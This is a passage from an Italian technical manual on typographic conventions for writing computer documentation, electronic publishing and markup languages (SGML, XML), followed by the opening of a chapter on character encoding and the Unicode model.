La scelta di rappresentare le variabili utilizzando il dollaro come prefisso è motivata dalla facilità con cui queste possono essere poi identificate durante la lettura del testo. Tuttavia, una scelta di questo tipo potrebbe essere discutibile, perché il dollaro non appartiene al nome della variabile e perché potrebbe indurre il lettore a utilizzarlo sempre, anche quando negli script non si deve. Quindi, il buon senso deve guidare nella decisione finale.

57.3.5.5 Comandi e istruzioni

A volte si ha la necessità di indicare un comando, o un'istruzione, all'interno del testo normale. Per questo, è opportuno utilizzare un carattere a spaziatura fissa, come nel caso dei nomi di file e directory, però qui si pone un problema nuovo dovuto alla possibile presenza di spazi e trattini. I programmi di composizione normali tendono a interrompere le righe, quando necessario, in corrispondenza degli spazi ed eventualmente anche dei trattini. Se il comando o l'istruzione che si scrive è breve, è consigliabile l'utilizzo di spazi e trattini non interrompibili.[10]

Quando si utilizza SGML (compreso HTML), si può usare l'entità '**` `**' per indicare uno spazio non interrompibile, mentre se si usa solo LaTeX, è il carattere tilde ('**`~`**') che ha questa funzione.

Il problema del trattino non è semplice, perché non esiste un trattino generico non separabile, fine a se stesso. Di trattini ne esistono di varie misure e non sempre esistono corrispondenti per diversi tipi di programmi di composizione.

57.3.5.6 Nomi di applicativi

Quando si fa riferimento al nome di un programma si pongono due alternative: l'indicazione del file eseguibile oppure del nome attribuito dall'autore al suo applicativo.

Per comprendere la differenza, si può pensare a Apache: il servente HTTP. Non si tratta di un semplice eseguibile, ma di un applicativo composto da diverse parti, in cui l'eseguibile è '**`httpd`**'. Nello stesso modo, nel caso di Perl (il linguaggio di programmazione), si può pensare all'applicativo in generale, composto dalle librerie e tutto ciò che serve al suo funzionamento; oppure si può voler fare riferimento solo all'eseguibile: '**`perl`**'.

I nomi di programmi applicativi dovrebbero essere indicati nello stesso modo in cui lo fa il loro autore, rispettando l'uso delle maiuscole e delle minuscole, in qualunque posizione del testo.

I nomi di questi tipi di entità non dovrebbero essere evidenziati in modo particolare.

57.3.5.7 Concetti e termini nuovi

I concetti e i termini che non si ritengono familiari per il lettore, dovrebbero essere evidenziati la prima volta che si presentano.

Per questo tipo di evidenziazione si utilizza un neretto oppure un corsivo. L'uso del neretto è contrario alla tradizione dei testi italiani, in cui questo viene fatto normalmente utilizzando solo il corsivo. Tuttavia, il neretto si presta meglio alla composizione in formati molto diversi; per esempio si ottiene facilmente anche su un documento da visualizzare attraverso uno schermo a caratteri.

57.3.5.8 Nomi proprietari e logotipi

L'indicazione di nomi che fanno riferimento a marchi di fabbrica o simili, va fatta come appare nel copyright o nella nota che fa riferimento al brevetto, rispettando l'uso delle maiuscole e dell'eventuale punteggiatura. Si dovrebbe evitare, quindi, di prendere in considerazione un eventuale logo grafico del prodotto, in quanto non è il caso di fare risaltare maggiormente i nomi di questo tipo. Ma a questa regola si può aggiungere che, nel caso il nome sia scritto utilizzando solo lettere maiuscole, può essere opportuno limitarsi a indicarlo utilizzando solo l'iniziale maiuscola, lasciando il resto in minuscolo.

All'interno del testo non è conveniente fare riferimento a detentori di copyright o di brevetti; eventualmente, di questo problema dovrebbero farsi carico delle note opportune all'inizio del documento che si scrive (ma solo se lo si ravvisa necessario per qualche ragione particolare). A tale proposito si osservi che in generale non è indispensabile fare alcun tipo di riferimento di questo genere, se lo scopo di ciò che si scrive non è quello di trattare espressamente di questo o di quel prodotto.

57.3.5.9 Titoli

Nei testi di lingua italiana, i titoli vanno scritti come se si trattasse di testo normale, con le particolarità seguenti:

- non viene mai posto il punto fermo finale;
- si cerca di evitare l'inserzione di altri segni di punteggiatura, a meno che ciò sia necessario per qualche motivo;
- non si usano evidenziazioni particolari di parole o nomi come invece potrebbe avvenire nel testo normale.

Un documento a carattere tecnico viene suddiviso normalmente in segmenti a più livelli, ma in generale è bene limitare la profondità di questi, per quanto possibile.

57.3.5.10 Didascalie

Gli elementi che non fanno parte del flusso normale di un documento, come tabelle e figure, sono accompagnate generalmente da un titolo e da una didascalia. Il titolo serve a identificarle, mentre la didascalia ne descrive il contenuto.

I titoli di tabelle, figure e oggetti simili, seguono le regole dei titoli normali, mentre il testo delle didascalie segue le regole del testo normale. Tuttavia, quando si utilizzano programmi di composizione che permettono di abbinare solo una nota descrittiva, che funga sia da titolo, sia da didascalia, occorre fare una scelta:

- quando le note sono brevi, è opportuno che si comportino come i titoli, cioè non contengano simboli di punteggiatura;
- quando sono più lunghe, si può decidere di trattarle come didascalie vere e proprie, con tutti i simboli di punteggiatura necessari per una comprensione corretta del contenuto.

Naturalmente, la scelta fatta deve valere per tutte le descrizioni che si abbinano a questi oggetti di un particolare documento: brevi o lunghe che siano.

57.3.5.11 Elenchi descrittivi

Gli elenchi descrittivi, come quelli che si ottengono con HTML utilizzando la struttura seguente, possono essere insidiosi, perché potrebbero tradursi in modo differente a seconda del tipo di programma di composizione utilizzato.

```
<dl>
<dt>Primo elemento</dt>
<dd>
    <p>Descrizione del primo elemento,...
    Bla bla bla...</p>
</dd>
</dl>
```

L'elemento descrittivo dell'elenco è in pratica un titolo che introduce una parte di testo generalmente rientrata. Sotto questo aspetto, la voce descrittiva segue le regole già viste per i titoli. Tuttavia, il problema sta nel fatto che si potrebbe essere indotti a riprendere un discorso lasciato in sospeso quando veniva introdotto l'elenco, come nell'esempio seguente:

```
Bla bla bla bla…

Primo elemento

        Descrizione del primo elemento,…
        Bla bla bla…

Qui si riprende il discorso precedente all'elenco descrittivo.
…
```

Infatti, l'utilizzo dei rientri fa percepire immediatamente la conclusione dell'elenco stesso. Quando si scrive un documento che deve poter essere convertito in molti formati differenti, che quindi potrebbe essere elaborato da programmi di composizione di vario tipo, può darsi che i rientri vengano perduti e gli elementi descrittivi dell'elenco appaiano come dei titoli veri e propri. Ma se ciò accade, quando si ricomincia «il discorso lasciato in sospeso», sembra che questo appartenga all'argomento dell'ultimo titolo apparso.

```
Bla bla bla bla…

Primo elemento

Descrizione del primo elemento,…
Bla bla bla…

Qui si riprende il discorso precedente all'elenco descrittivo.
…
```

Pertanto, se si vogliono utilizzare strutture di questo tipo, è consigliabile che appaiano alla fine di una sezione, quando quello che viene dopo è un titolo di una sezione o di qualcosa di simile.

57.3.5.12 Richiami in nota

I richiami in nota (le note a piè pagina e quelle alla fine del documento) sono composti con le stesse regole del testo normale. Quando il riferimento a una nota si trova alla fine di una parola cui segue un segno di interpunzione, è opportuno collocare tale riferimento dopo il simbolo di interpunzione stesso.

57.3.5.13 Indicizzazione

La costruzione di un indice analitico deriva dall'inserzione di riferimenti all'interno del testo, attraverso istruzioni opportune definite dal tipo di programma usato per la composizione.

Le voci inserite in questi riferimenti, che poi vanno a formare l'indice analitico, devono essere scelte in modo uniforme, secondo alcune regole molto semplici.

- Si utilizzano le lettere minuscole, a meno che si tratti di nomi particolari che vanno sempre scritti in un modo prestabilito:
  - i nomi proprietari vanno scritti come indicato dalla casa produttrice;
  - i nomi di applicativi software vanno scritti come indicato dall'autore;
  - i nomi di file e directory vanno scritti esattamente come sono, tenendo conto che i file eseguibili vanno indicati senza percorso, mentre gli altri potrebbero contenerlo;
  - i nomi di variabili di ambiente vanno scritti esattamente come sono, eventualmente prefissati dal simbolo dollaro.
- Si utilizza solo il singolare.

I riferimenti per la generazione dell'indice analitico vanno posti preferibilmente nei luoghi opportuni, in modo da evitare inutili rimandi a pagine che non contengono ciò che si cerca. Per esempio, la parola **file** potrebbe trovarsi in quasi tutte le pagine di un testo di informatica, mentre è conveniente che l'indice analitico riporti solo le pagine in cui si parla del concetto che questa parola rappresenta.

I nomi di programmi eseguibili e di file di dati standard, come per esempio i file di configurazione, dovrebbero essere inseriti nell'indice analitico ogni volta che appaiono nel testo.

57.3.5.14 Riferimenti bibliografici e simili

Esiste una forma precisa e molto articolata per la stesura delle bibliografie, corrispondente allo standard ISO 690. A ogni modo, vale la regola generale per cui un riferimento bibliografico deve contenere tutti i dati necessari a reperire il documento a cui si fa riferimento. In condizioni normali, le informazioni essenziali per identificare una pubblicazione sono quelle seguenti:

- l'autore o gli autori;
- il titolo completo;
- l'editore;
- la data di edizione;
- il numero ISBN (se disponibile);
- l'URI (se il documento è disponibile attraverso la rete).

Generalmente è consigliabile comporre gli elenchi bibliografici indicando le opere a partire dall'autore, mettendo il titolo in testo corsivo o inclinato, separando le varie componenti di ogni riferimento bibliografico attraverso delle virgole, come nell'esempio seguente:

Claudio Beccari, *LaTeX, Guida a un sistema di editoria elettronica*, Hoepli, 1991, ISBN 88-203-1931-4

Se non si dispone di un sistema automatico per la gestione dei riferimenti bibliografici, quando si cita un documento all'interno del testo, è bene seguire alcune regole elementari.

- I riferimenti ad altri documenti, all'interno del testo normale, vanno fatti indicando il titolo completo, in corsivo o inclinato, aggiungendo il nome dell'autore o degli autori.
- Il titolo è separato con una virgola da un eventuale sottotitolo.
- I riferimenti a un testo già citato possono essere fatti utilizzando solo il titolo o solo l'autore, o attraverso altri mezzi, purché si sia certi di non creare ambiguità o disagio al lettore.

Segue un esempio molto semplice di come può essere fatto un riferimento del genere all'interno del testo normale:

> ... Questa sezione fa riferimento a concetti contenuti in *LaTeX, Guida a un sistema di editoria elettronica*, di Claudio Beccari...

57.4 Evoluzione dell'editoria elettronica

Con il termine «editoria elettronica», si vuole fare riferimento agli strumenti utilizzabili per produrre documentazione di buona qualità dal punto di vista tipografico. L'approccio di un programma per l'editoria può essere fondamentalmente di due tipi:

- a composizione visuale o WYSIWYG (*What you see is what you get*);[11]
- a composizione differita.

Nel primo caso, durante la stesura, il documento appare sullo schermo con lo stesso aspetto che avrebbe se venisse stampato in quel momento. Nel secondo, si scrive un file di testo normale con l'inserimento di comandi, come se si trattasse di un linguaggio di programmazione; quindi si passa alla composizione (una sorta di compilazione) attraverso la quale viene generato normalmente il file finale pronto per essere inviato alla stampa.

Il primo tipo di composizione è decisamente più pesante sotto l'aspetto elaborativo, prestandosi in particolare per i documenti brevi. Il secondo ha lo svantaggio di non permettere la verifica del risultato finale fino a quando non avviene la composizione, però richiede solo l'utilizzo di un programma normalissimo per la creazione e la modifica di file di testo, mentre solo al momento della composizione c'è bisogno di un'elaborazione significativa. In questo senso è più adatto alla redazione di documenti di grandi dimensioni.

57.4.1 Evoluzione

L'editoria elettronica non è più solo cartacea. In particolare esistono gli ipertesti, cioè documenti elettronici la cui consultazione avviene attraverso riferimenti e non in modo puramente sequenziale.

In questo senso, se l'editoria elettronica viene vista come mezzo di documentazione generale non più orientata a un supporto particolare, non può avere immediatamente una rappresentazione finale definitiva. Per esempio, un documento in HTML non può mai essere identico a un documento stampato.

Quando si vuole produrre un documento compatibile con diversi tipi di supporti (carta, ipertesto HTML, guida interna, ecc.) non si possono avere pretese stilistiche particolari; quindi, un programma visuale diventa quasi inutile.

A fianco di questi problemi di compatibilità, si aggiungono delle esigenze nuove, come per esempio la possibilità di estrarre dal documento elettronico determinati tipi di informazioni necessarie ad alimentare una base di dati. In questo senso, le informazioni cercate, oltre che riconoscibili all'interno del formato utilizzato, devono essere coerenti e complete.

Comunque, anche nell'ambito dell'editoria cartacea tradizionale, la prima esigenza che è stata sentita è quella dell'uniformità stilistica, cosa che sarebbe bene fosse controllabile anche attraverso il sistema elettronico di composizione.

57.4.2 Codifica del testo (markup)

Il termine *markup* (o marcatura) deriva dall'ambiente tipografico dove è stato usato per definire le annotazioni fatte su una bozza, allo scopo di segnalare al compositore o al dattilografo il modo con cui alcune parti del testo andavano evidenziate o corrette. A tale proposito, esiste uno standard nella simbologia da utilizzare in questi casi, rintracciabile ancora nei libri di tipografia. Queste annotazioni simboliche possono riferirsi all'aspetto dei caratteri, all'allineamento dei paragrafi, alle spaziature e via dicendo.

Nell'editoria elettronica, il concetto alla base del termine *markup* si è esteso in modo da includere i simboli speciali, o meglio, la codifica inserita nel testo per permetterne l'elaborazione.

Volendo generalizzare, la codifica del testo è tutto ciò che ne esplicita l'interpretazione. A livello umano, la stessa punteggiatura e certe forme di spaziatura, sono la codifica che serve a chiarire il significato del testo, diventando parte essenziale di questo. Oggi non sarebbe comprensibile separare concettualmente la punteggiatura dal testo, però in passato è stato così. Basta pensare ai telegrammi, o all'apparizione di questi simboli nella storia della scrittura.

57.4.2.1 Linguaggio di markup

La tecnica di composizione del testo utilizzando l'inserimento di marcatori o di codici, richiede la definizione di una serie di convenzioni, tali da definire un ***linguaggio di markup***. Un tale linguaggio deve specificare quale tipo di marcatura è utilizzabile, quale è richiesta, in che modo si distingua dal testo e quale sia il suo significato.

I linguaggi di *markup* possono essere diversi e si distinguono due gruppi fondamentali: linguaggi procedurali e linguaggi descrittivi.

Un linguaggio di *markup* procedurale serve a definire il processo da svolgere in un punto particolare del documento. È come un linguaggio di programmazione in cui si usano chiamate di funzioni, o di procedure, per compiere le operazioni richieste. Per esempio può trattarsi di ordini riferiti alla scrittura del testo, allo spostamento, alla definizione di margini, del salto pagina e di tutto ciò che si rende necessario. In questo senso, un linguaggio di *markup* procedurale consente generalmente la definizione completa di tutto ciò che serve a stabilire l'aspetto finale del documento stampato (o visualizzato).

Un linguaggio di *markup* descrittivo, al contrario, usa la codifica dei marcatori per classificare le parti del documento, dando loro un nome. In pratica, si delimitano queste porzioni di testo e si definisce la loro appartenenza a una categoria determinata, identificata da un nome. In tal modo, questo tipo di linguaggio di *markup* non è in grado di fornire indicazioni sull'aspetto finale del documento, in quanto il suo scopo è solo quello di definire la struttura del testo. Evidentemente è compito di un'altra applicazione utilizzare le informazioni sulla struttura del testo per generare un formato finale, secondo regole e definizioni stabilite al di fuori del linguaggio descrittivo stesso.

57.4.2.2 Vantaggi di un linguaggio descrittivo

Un linguaggio di *markup* descrittivo, nel momento in cui non si prende carico di definire l'aspetto finale del documento, pone l'accento sul contenuto e non sull'apparenza. Questo è fondamentale quando il «documento» viene inteso come informazione pura che possa materializzarsi in forme molto diverse.

L'informazione «pura», in quanto tale, richiede anche che sia espressa attraverso un formato indipendente dalle piattaforme, ma soprattutto che sia indipendente dai formati proprietari.

57.4.3 SGML

SGML è un linguaggio di *markup* descrittivo, definito dallo standard *ISO 8879: Information processing---Text and office systems---Standard Generalized Markup Language (SGML)*, 1986. L'SGML è uno standard internazionale per la definizione di metodi di rappresentazione del testo in forma elettronica in modo indipendente dall'hardware e dal sistema utilizzato.

Il linguaggio SGML utilizza il concetto di «tipo di documento» e di «definizione del tipo di documento». Per la precisione di parla di DTD, ovvero, *Document type definition*. In pratica, nell'ambito dell'SGML, è necessario che sia stato definito il modo in cui i vari elementi del testo possono essere utilizzati. Ciò che non è definito, non può essere usato, ma quello che è stato definito deve rispettare le regole stabilite.

A titolo di esempio, si può immaginare la definizione di un tipo di documento riferito alla scrittura di lettere commerciali. La lettera deve contenere degli elementi essenziali: il mittente, uno o più destinatari, la data, l'oggetto, il corpo, l'indicazione di colui che la firma e la sigla del dattilografo che la scrive materialmente. Tutti questi elementi devono essere presenti, probabilmente anche con un certo ordine (l'indicazione di chi firma deve trovarsi in fondo e non all'inizio). Inoltre, questi elementi possono scomporsi in altri elementi più dettagliati; per esempio, l'informazione sulla persona che firma può comporsi della qualifica, il titolo personale, il nome e il cognome. Il DTD deve prendersi carico di definire tutto questo, stabilendo ciò che è valido e cosa invece non lo è.

In questo modo, poi, un documento SGML può essere analizzato da un programma speciale, l'analizzatore SGML (*SGML parser*), per la verifica del rispetto di queste regole, prima di utilizzare in qualunque modo questo documento.

L'SGML, assieme al DTD, garantendo l'uniformità dei documenti dello stesso tipo, consente di uniformare i procedimenti successivi. Per tornare all'esempio precedente, da un punto di vista di puro contenuto del testo, non dovrebbe essere importante l'ordine degli elementi che lo compongono, quando sia possibile distinguerli. Tuttavia, una lettera che inizia con la firma e finisce con l'indicazione del destinatario, non è scritta nel modo corretto; così il DTD potrebbe essere progettato in modo da imporre un certo ordine, a vantaggio delle elaborazioni successive.

57.4.4 XML, XSLT e XSL-FO

XML (*Extensible markup language*) è un linguaggio derivato da SGML, nato inizialmente come sottoinsieme «compatibile» con questo. A XML si affianca XSLT (*Extensible stylesheet language transformations*), come linguaggio di definizione della trasformazione di un documento XML in qualcosa di differente. XSL-FO (*Extensible stylesheet language formatting object*) è un linguaggio di definizione del formato finale del documento; spesso si usa XSLT per ottenere un documento XSL-FO, per poi passare alla composizione finale.

57.5 Riferimenti

- Markus Kuhn, *International standard paper sizes*

  ⟨*http://www.cl.cam.ac.uk/~mgk25/iso-paper.html* ⟩

- R. Smith, F. Wright, T. Hastings, S. Zilles, J. Gyllenskog, *RFC 1759: Printer MIB, Appendix B - Media size names from ISO/IEC 10175 Document printing architecture*, 1995

  ⟨*http://www.ietf.org/rfc/rfc1759.txt* ⟩

- T. Hastings, R. Herriot, R. deBry, S. Isaacson, P. Powell, *RFC 2911: Internet printing protocol/1.1: model and semantics*, *Appendix C: "media" keyword values*, 2000

  ⟨*http://www.ietf.org/rfc/rfc2911.txt* ⟩

- *Grafica; scienza, tecnologia e arte della stampa e della comunicazione*, Arti poligrafiche europee

  ⟨*http://www.apenet.it/* ⟩

- Michele Dalla Silvestra, *Scrittura testi per l'ILDP*

- Robert Kiesling, *The LDP Style Mini-HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- Claudio Beccari, *LaTeX, Guida a un sistema di editoria elettronica*, Hoepli, 1991, ISBN 88-203-1931-4

- M. Fazio, *Dizionario e manuale delle unità di misura*, Zanichelli

- *Grafica; scienza, tecnologia e arte della stampa e della comunicazione*, Arti poligrafiche europee

  ⟨*http://www.apenet.it/*⟩

- Marco Gaiarin, *Linux Italian HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩

- Maurizio Pistone, *Lingua italiana e altra linguistica*

  ⟨*http://www.mauriziopistone.it/testi/linguaitaliana.html*⟩

- Marco Baroni, Eros Zanchetta, *Morph-it! A free morphological lexicon for the Italian Language*

  ⟨*http://sslmitdev-online.sslmit.unibo.it/linguistics/morph-it.php*⟩

- *Amiga Translators' Organization*

  ⟨*http://bilbo.di.unipi.it/~ato-it/*⟩

- Bureau International des Poids et Mesures

  ⟨*http://www.bipm.org/*⟩

- Bureau International des Poids et Mesures, *Le Système international d'unités (SI)*

  ⟨*http://www1.bipm.org/utils/en/pdf/brochure-si.pdf*⟩

- Bureau International des Poids et Mesures, *The International System of Units (SI)* (traduzione in inglese)

  ⟨*http://www1.bipm.org/utils/en/pdf/si-brochure.pdf*⟩

- National Institute of Standards and Technology, *International System of Units (SI)*

  ⟨*http://physics.nist.gov/Pubs/SP330/sp330sl.pdf*⟩

- National Institute of Standards and Technology, *Guide for the Use of the International System of Units (SI)*, 1995

  ⟨*http://physics.nist.gov/cuu/pdf/sp811.pdf*⟩

- Markus Kuhn, *Standardized Units for Use in Information Technology*, 1995

  ⟨*http://www.cl.cam.ac.uk/~mgk25/information-units.txt*⟩

- National Institute of Standards and Technology, *Prefixes for binary multiples*

  ⟨*http://physics.nist.gov/cuu/Units/binary.html*⟩

- *OneLook dictionary search*

  ⟨*http://www.onelook.com/*⟩

- Denis Howe, *FOLDOC: free on-line dictionary of computing*

  ⟨*http://foldoc.org/*⟩

[1] Questi tre stili sono molto importanti, in parte per motivi storici, ma soprattutto perché sono quelli che si hanno a disposizione più di frequente.

[2] Alcuni sistemi di composizione riescono a trarre il corsivo e il neretto da stili che per loro natura non hanno tali varianti. Per ottenerlo si utilizzano tecniche di deformazione e di trascinamento. In generale sarebbe bene evitare di sfruttare tali possibilità, dal momento che se uno stile non dispone di una serie, significa che non è adatto per quella.

[3] La tipizzazione di un carattere è l'azione con cui lo si rende uniforme.

[4] Questa sezione va considerata solo come un riferimento essenziale alla definizione di uno stile letterario e il contenitore di una piccola raccolta di regole, con le quali semplificare la vita di chi scrive documenti elettronici. Pur senza una competenza specifica sulla questione, viene introdotto l'argomento sottolineando alcuni concetti importanti.

[5] Secondo una regola della tipografia del passato, ormai condannata generalmente, è necessario aumentare lo spazio che divide la fine di un periodo dall'inizio del successivo. Per qualche ragione si trovano ancora documenti in lingua inglese che seguono questa regola, anche quando si tratta di file di testo.

[6] Purtroppo LaTeX segue la vecchia regola dell'allungamento dello spazio dopo il punto fermo che chiude il periodo, con l'aggravante che per riuscire a determinarlo può fare solo delle supposizioni, che a volte sono errate. Per fare in modo che LaTeX eviti di applicare questa regola errata, si può utilizzare il comando '`\frenchspacing`' nel preambolo del documento.

[7] Quando il sistema di composizione si basa su TeX e si usano virgolette elevate, le virgolette doppie si ottengono preferibilmente attraverso una coppia di apici singoli aperti ('``') e una coppia di apici singoli chiusi ('`''`'). In altri casi, soprattutto quando si tratta di file di testo puri e semplici, gli apici doppi si indicano con le virgolette normali ('`"`...`"`').

[8] TeX permette l'uso di tre trattini di lunghezza differente: il trattino corto che si ottiene con un trattino singolo, il trattino medio che si ottiene con due trattini in sequenza e il trattino lungo che si ottiene con tre. Nella lingua italiana vanno usati solo i primi due, dove il trattino medio di TeX corrisponde al trattino lungo della grammatica italiana.

[9] Nell'ambito della documentazione tecnica, sarebbe consigliabile di evitare l'uso di accentazioni non comuni, anche se queste potrebbero essere preferibili in contesti più raffinati.

[10] Naturalmente questo ha senso se poi il programma di composizione non tenta di suddividere le parole in sillabe.

[11] «Ciò che si vede è ciò che si ottiene»

Capitolo 58

Codifica

58.1 Lettera, codifica e carattere da stampa 3141
58.2 Ambiguità nel concetto di «carattere» 3143
58.2.1 CCS: insieme di caratteri codificato 3145
58.2.2 CEF: forma codificata del carattere 3146
58.2.3 CES: schema di codifica del carattere 3147
58.2.4 TES: sintassi di codifica per il trasferimento 3147
58.3 Unicode e ISO 10646 3147
58.3.1 UTF-8 3148
58.3.2 Schema di codifica e firma di riconoscimento 3150
58.3.3 Tipi di dati nuovi 3151
58.4 Apparenza e realtà 3151
58.5 ASCII (ISO 646) 3151
58.6 ISO 8859-***n*** 3154
58.7 IBM Code Page ***nnn*** Character Set 3156
58.8 Utilizzo di «ascii» 3164
58.9 Utilizzo di «unicode» 3166
58.10 Gucharmap 3168
58.11 Recode 3171
58.12 Iconv 3173
58.13 Utilizzo di «luit» 3175

`ascii` 3164 `gucharmap` 3168 `iconv` 3173 `luit` 3175 `recode` 3171 `unicode` 3166

La codifica dei caratteri, intendendo ciò come il modo di rappresentare i simboli tipografici in forma elettronica, diventa un problema serio nel momento in cui si esce dallo schema abituale della scrittura con caratteri latini.

Nella storia dell'informatica è stata definita una quantità enorme di codifiche differenti, per adattare la limitatezza degli 8 bit tradizionali all'insieme di caratteri che serve in ogni circostanza particolare. Inoltre, nelle situazioni in cui 8 bit non possono bastare, sono state ideate codifiche attraverso l'abbinamento di sequenze di simboli elementari che ne rappresentano uno più complesso.

In generale, verrebbe da pensare che sarebbe stato meglio prevedere subito il problema, definendo delle unità di codifica più grandi (non più il byte di 8 bit, ma stringhe binarie più lunghe). Tuttavia, c'è da considerare che proprio la semplicità dell'alfabeto inglese (che non ha nemmeno le lettere accentate) ha permesso lo sviluppo rapido di tecnologia relativamente «semplice», che altrimenti sarebbe stata materialmente irraggiungibile.

Il byte stesso (quello da 8 bit) è stata una grande conquista. Ancora oggi ci sono sistemi di comunicazione che riconoscono unità di codifica a soli 7 bit, dove in pratica si può usare solo l'ASCII; prima ancora sono state utilizzate anche unità di codifica a soli 6 bit.

58.1 Lettera, codifica e carattere da stampa

Per comprendere il problema della codifica, è necessario considerare prima i problemi che riguardano la definizione dei caratteri da stampa. La prima fase è la definizione di un repertorio astratto, all'interno del quale si elencano, senza un ordine preciso, le lettere e gli altri segni necessari per un certo scopo. L'insieme di questi simboli è astratto, nel senso che non è ancora stabilito l'aspetto finale, compito riservato a una fase successiva.[1]

Il simbolo di un repertorio astratto è qualcosa di diverso dal simbolo che compone un carattere da stampa, dal momento che il secondo rappresenta il modo preciso in cui il simbolo astratto viene reso tipograficamente. Per comprendere il concetto, si pensi alla lettera «a» e all'aspetto che questo simbolo astratto può avere utilizzando stili, serie e corpi differenti. Evidentemente, si tratta sempre della stessa lettera, ma resa in modo diverso.

Figura 58.1. La lettera «a» minuscola resa tipograficamente in modo differente.

a a a a a a a

Alcuni gruppi di simboli astratti tendono a essere rappresentati tipograficamente in un simbolo solo, in un legato, ovvero attraverso l'avvicinamento e la sovrapposizione parziale. Il caso tipico è rappresentato dalla sequenza di lettere «fi» e «ffi», come si vede nella figura 58.2. In certi casi, la sequenza di lettere che si avvicina rappresenta una parola intera, generando così un «logotipo»; spesso, la loro importanza storica ha fatto sì che questi siano diventati dei simboli astratti autonomi. Per esempio, la parola latina «et» è diventata la e-commerciale odierna, «&»; la parola latina «ad» è diventata la chiocciola odierna, «@» (nella lingua italiana si è perso l'uso di questo legato, riacquisendolo solo attraverso la lingua inglese, pertanto lo si conosce solitamente solo nella sua definizione inglese: *at*).

Figura 58.2. Il legato «fi» e «ffi».

f i fi

f f i ffi

La composizione tipografica elettronica, può avvenire attraverso la sovrapposizione di simboli elementari differenti, senza la necessità di legarli assieme. Nelle lingue di origine latina, il caso più comune di questa possibilità si ha con gli accenti, i quali potrebbero essere simboli tipografici separati da sovrapporre alle lettere a cui sono destinati. Nello stesso modo, il repertorio di simboli astratti potrebbe essere realizzato con questo criterio; per esempio, per fare riferimento a un simbolo complesso potrebbe essere necessario indicare una sequenza di simboli astratti elementari.

Alcune lingue hanno dei simboli che nella composizione tipografica devono cambiare forma a seconda del contesto. Per comprendere il concetto, si può pensare a una scrittura manuale, in cui le lettere cambiano leggermente forma a seconda di ciò che appare prima e dopo; chi cono-

sce una scrittura stenografica manuale, può intendere ancora meglio il problema. Ad aggravare ancora di più la questione, l'adattamento contestuale di un simbolo potrebbe dipendere da una scelta stilistica, in parte arbitraria.

A volte, la larghezza di un testo deve essere adattata per esigenze estetiche, come avviene nel caso dell'allineamento simultaneo a sinistra e a destra. Nelle lingue di origine latina si ottiene questo attraverso l'allargamento degli spazi tra le parole e tra le lettere all'interno delle parole; tuttavia, alcune lingue richiedono degli adattamenti differenti, per esempio attraverso l'introduzione di altri simboli appropriati.

Da quello che è stato scritto si intende che la composizione tipografica elettronica si può considerare come l'ultima fase di un processo composto da tre livelli: definizione di un repertorio astratto di simboli; definizione di una codifica; composizione tipografica a partire dalla codifica.

repertorio astratto ⟶ codifica ⟶ composizione

La codifica non può corrispondere esattamente al repertorio astratto ideale: deve fare delle scelte. In generale, il repertorio simbolico preso in considerazione dalla codifica è identificabile come un insieme di ***punti di codifica*** (*code point*, secondo la documentazione di Unicode).

I problemi legati alla composizione tipografica che sono stati descritti, sono solo alcuni di quelli che si incontrano. A seconda dei casi, implicano un approccio differente per ciò che riguarda la codifica e la composizione. In breve:

1. lo stile tipografico è qualcosa che normalmente è gestito dal sistema di composizione, senza richiedere la definizione di punti di codifica differenti;
2. il legato può essere un problema risolto a livello di composizione finale, oppure può richiedere la definizione di punti di codifica aggiuntivi, quando si tratta di legati molto importanti o di logotipi;
3. l'adattamento contestuale richiede spesso la definizione di tanti punti di codifica quante sono le varianti contestuali del simbolo astratto, specialmente se esiste un margine di scelta da parte dell'autore;
4. l'adattamento della larghezza del testo dovrebbe essere compito del sistema di composizione, anche quando questo implica l'inserzione di simboli speciali.

58.2 Ambiguità nel concetto di «carattere»

In informatica, il termine «carattere» ha acquisito un significato ambiguo che dipende dal contesto. Per esempio, può riferirsi a un simbolo del repertorio astratto, a un punto di codifica, all'unità di memorizzazione (unità di codifica, o *code unit*), o al segno che viene ottenuto alla fine del processo di composizione. Per fare un esempio in merito all'unità di codifica, basta pensare al byte che spesso viene confuso con il carattere, mentre ormai è da intendersi come un'unità di memorizzazione troppo piccola per questo scopo nel sistema globale.

Di certo non si può pretendere che si smetta di usare il termine carattere per passare invece a una terminologia più precisa. Tuttavia è importante rendersi conto della vastità della cosa e dei problemi che ci stanno sotto.

Il modello di Unicode suddivide il problema della codifica in cinque livelli:

1. ACR (*Abstract character repertoire*)

   definizione di un repertorio astratto di simboli;

2. CCS (*Coded character set*)

   definizione di una mappa in cui si abbina un numero intero, non negativo, a ogni simbolo del repertorio astratto che si intende gestire;

3. CEF (*Character encoding form*)

   definizione di una mappa in cui si abbinano i numeri ottenuti dal livello precedente a un insieme di sequenze dell'unità di codifica prescelta;

4. CES (*Character encoding scheme*)

   definizione di una mappa di trasformazione delle unità di codifica in una sequenza seriale di byte;

5. TES (*Transfer encoding syntax*)

   definizione di un metodo reversibile di trasformazione dei dati codificati in base alle limitazioni del mezzo trasmissivo.

Da un punto di vista leggermente differente, si potrebbe scomporre il problema in strati, per distinguere le fasi che vanno dalla scrittura alla trasmissione del testo e dalla ricezione del testo alla lettura. La scrittura potrebbe essere descritta con l'elenco di operazioni seguenti:

1. selezioni dei simboli e digitazione attraverso la tastiera (o un altro mezzo);
2. codifica, attraverso cui si trasforma il simbolo in un numero intero non negativo;
3. trasformazione in unità di codifica, in base alla forma prescelta;
4. adattamento in sequenze di byte;
5. adattamento prima del trasferimento dei dati.

Il processo di lettura dei dati, a partire dalla ricezione, è opposto:

1. interpretazione dei dati ricevuti e ricostruzione delle sequenze di byte di partenza;
2. trasformazione delle sequenze di byte in sequenze di unità di codifica;
3. trasformazione dalle sequenze di unità di codifica in numeri interi non negativi;
4. decodifica dei numeri interi non negativi;
5. composizione tipografica (su schermo o su carta).

Prima di questa sezione è già stato affrontato il problema dell'abbinamento tra il repertorio astratto di simboli e la codifica, senza precisare in che modo sia organizzata questa ultima. Nelle sezioni seguenti si accenna alle problematiche successive.

58.2.1 CCS: insieme di caratteri codificato

